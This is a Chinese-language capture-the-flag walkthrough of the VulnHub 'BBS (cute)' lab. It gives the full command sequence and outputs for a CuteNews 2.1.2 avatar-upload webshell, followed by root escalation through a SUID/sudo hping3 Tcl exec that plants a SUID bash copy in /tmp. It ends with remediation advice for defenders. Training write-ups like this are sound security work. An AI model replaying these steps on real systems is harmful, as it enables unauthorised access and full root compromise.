跳到主要内容

VulnHub BBS (cute): 1.0.2 通关记录|CuteNews 头像上传 RCE 与 hping3 Tcl 提权

靶机链接:BBS (cute): 1.0.2

0x01 基本信息

名称IP
Kali Linux192.168.1.113
BBS (cute): 1.0.2192.168.1.112

攻击流程

点击展开

攻击链摘要

阶段关键证据 / 操作作用
服务发现22/tcp80/tcp88/tcp110/tcp995/tcp确认主攻击面在 80 端口 Web
Web 指纹/index.php/core//docs//uploads/,页脚 Powered by CuteNews 2.1.2锁定 CuteNews 版本
初始访问开放注册 + captcha.php 明文验证码 + 头像上传 PHP payload获得 www-data WebShell
本地枚举sudo -l 与 SUID 文件发现 /usr/sbin/hping3定位提权入口
Root 提权hping3 Tcl exec 复制 SUID bash获得 root 命令执行
Flag/home/fox/user.txt/root/root.txt完成通关

0x02 侦察与信息收集

1. 主机存活确认

命令:

ping -c 2 192.168.1.112
ip -br addr

结果:

目标在线,ICMP 无丢包;攻击机地址为 192.168.1.113/24

2. 全端口扫描 (RustScan)

命令:

rustscan -a 192.168.1.112 -g --ulimit 5000 --batch-size 300 --timeout 3000

输出:

192.168.1.112 -> [22,80,88,110,995]

3. 服务识别 (Nmap)

命令:

nmap -Pn -sC -sV -p 22,80,88,110,995 -oN scans/nmap_tcp_services.txt 192.168.1.112

服务列表摘要:

端口服务指纹 / 备注
22/tcpSSHOpenSSH 7.9p1 Debian 10+deb10u2
80/tcpHTTPApache httpd 2.4.38 (Debian),默认页
88/tcpHTTPnginx 1.14.2,返回 404
110/tcpPOP3Courier pop3d,支持 STLSUSER
995/tcpPOP3SCourier pop3d,证书 localhost / Courier Mail Server

分析:

目标主机名解析为 cute。虽然 88/tcp 常见服务名是 Kerberos,但版本探测显示此端口实际运行 nginx HTTP 服务,因此后续按 Web 入口处理。


0x03 漏洞分析与利用

1. Web 应用识别

80 端口目录枚举发现 CuteNews 相关文件:

gobuster dir -u http://192.168.1.112/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -q -t 30 -x php,txt,html -o scans/gobuster_80_common.txt

关键发现:

路径状态说明
/index.php200CuteNews 登录入口
/search.php200搜索页
/example.php200示例集成页
/LICENSE.txt200CutePHP 许可证
/core/301CuteNews 目录
/docs/301CuteNews 文档目录
/uploads/301上传目录

登录页页脚泄露版本:

Powered by CuteNews 2.1.2

2. CuteNews 2.1.2 头像上传 RCE

本地 searchsploit 显示 CuteNews 2.1.2 存在公开 RCE:

searchsploit CuteNews
searchsploit -m 48800 -p

注册页开放,且 CAPTCHA 接口直接返回 HTML 文本:

curl -i http://192.168.1.112/captcha.php

响应摘要:

<html><body style="font-size: 42px; font-family: Arial, Tahoma, Serif;">udaruoug</body></html>

因此可以在同一 Session 中读取 CAPTCHA、注册普通用户、登录后上传带 PHP 代码的头像,触发命令执行。

验证命令:

python3 cutenews_212_avatar_rce.py http://192.168.1.112 -c id | tee scans/cutenews_rce_id.txt

输出:

[+] username: cnxelvuluk
[+] password: 4wxedob9m99hup
[+] webshell: http://192.168.1.112/uploads/avatar_cnxelvuluk_cnxelvuluk.php
uid=33(www-data) gid=33(www-data) groups=33(www-data)

结论: 通过 CuteNews 2.1.2 头像上传漏洞获得 www-data 权限下的命令执行。


0x04 权限提升

1. 本地枚举

通过 webshell 进行基础枚举:

python3 cutenews_webshell_cmd.py 'id; hostname; uname -a; cat /etc/os-release'
python3 cutenews_webshell_cmd.py 'sudo -l 2>&1'
python3 cutenews_webshell_cmd.py 'find / -perm -4000 -type f 2>/dev/null'

关键发现:

User www-data may run the following commands on cute:
(root) NOPASSWD: /usr/sbin/hping3 --icmp

同时,/usr/sbin/hping3 自身还带有 SUID 位:

-rwsr-sr-x 1 root root 156808 Sep 6 2014 /usr/sbin/hping3

2. hping3 Tcl 交互提权

hping3 启动后会进入 Tcl 解释器。虽然当前 shell 的真实 UID 仍是 www-data,但 hping3 进程的有效 UID 为 root,因此 Tcl exec 可以直接执行 root 权限命令:

python3 cutenews_webshell_cmd.py 'printf "puts [exec id]\n" | /usr/sbin/hping3 2>&1'

输出:

uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)

为方便后续操作,使用 root 权限复制一个 SUID bash:

python3 cutenews_webshell_cmd.py 'printf "exec cp /bin/bash /tmp/rootbash\nexec chmod 4755 /tmp/rootbash\nputs [exec ls -l /tmp/rootbash]\n" | /usr/sbin/hping3 2>&1'

输出:

-rwsr-xr-x 1 root root 1168776 Jun 8 17:18 /tmp/rootbash

随后即可通过 -p 保留特权执行 root 命令:

python3 cutenews_webshell_cmd.py '/tmp/rootbash -p -c "id; whoami"'

输出:

uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
root

0x05 最终成果 (Final Flags)

User Flag

python3 cutenews_webshell_cmd.py '/tmp/rootbash -p -c "cat /home/fox/user.txt"'
dcb8189a0eaf7a690a67785a7299be60

Root Flag

python3 cutenews_webshell_cmd.py '/tmp/rootbash -p -c "cat /root/root.txt"'
0b18032c2d06d9e738ede9bc24795ff2

复盘总结

这台靶机的攻击链很短,核心问题有两个:

  1. CuteNews 2.1.2 暴露注册入口,且验证码接口直接以明文 HTML 返回验证码内容,导致头像上传 RCE 可被低权限用户自动化利用。
  2. www-data 具备 sudo /usr/sbin/hping3 --icmp 免密执行权限,同时 hping3 本身还设置了 SUID root 位,配合其 Tcl exec 能直接获得 root 命令执行。

防守侧需要重点处理三个位置:

  1. 下线或升级 CuteNews 2.1.2,关闭公开注册,删除 Web 根目录内可执行上传文件。
  2. 取消 www-datahping3 的 sudo 权限,移除 hping3 的 SUID 位。
  3. 审查 /uploads//tmp/rootbash 和当前注册出的 CuteNews 账户,清理利用痕迹并轮换相关凭据。

附件下载

以下脚本为本次测试过程中编写并实际使用的辅助脚本,已按用途规范化文件名并放到站点静态目录。

文件说明
cutenews_212_avatar_rce.py自动读取明文 CAPTCHA、注册 CuteNews 用户、上传 PHP 头像并执行命令
cutenews_webshell_cmd.py复用已生成的 CuteNews 头像 WebShell 执行后续本地枚举和提权命令